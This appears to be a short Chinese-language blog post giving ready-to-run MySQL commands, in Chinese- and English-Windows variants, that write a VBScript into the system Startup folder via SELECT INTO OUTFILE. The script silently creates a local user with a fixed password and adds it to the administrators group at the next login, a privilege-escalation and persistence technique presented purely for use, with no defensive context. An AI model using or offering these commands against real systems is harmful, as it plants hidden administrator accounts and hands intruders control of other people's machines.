MySQL中英文添加用戶到啟動

中文版本操作系統中針對mysql添加用戶完整代碼:

use test;
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell””) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user test 123!@#abcABC /add””,0) ” );
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup administrators test /add””,0) ” );
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\a.vbs”;
drop table a;
英文版本:
use test;
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell””) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user test 123!@#abcABC /add””,0) ” );
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup administrators test /add””,0) ” );
select * from a into outfile “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\a.vbs”;
drop table a;

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *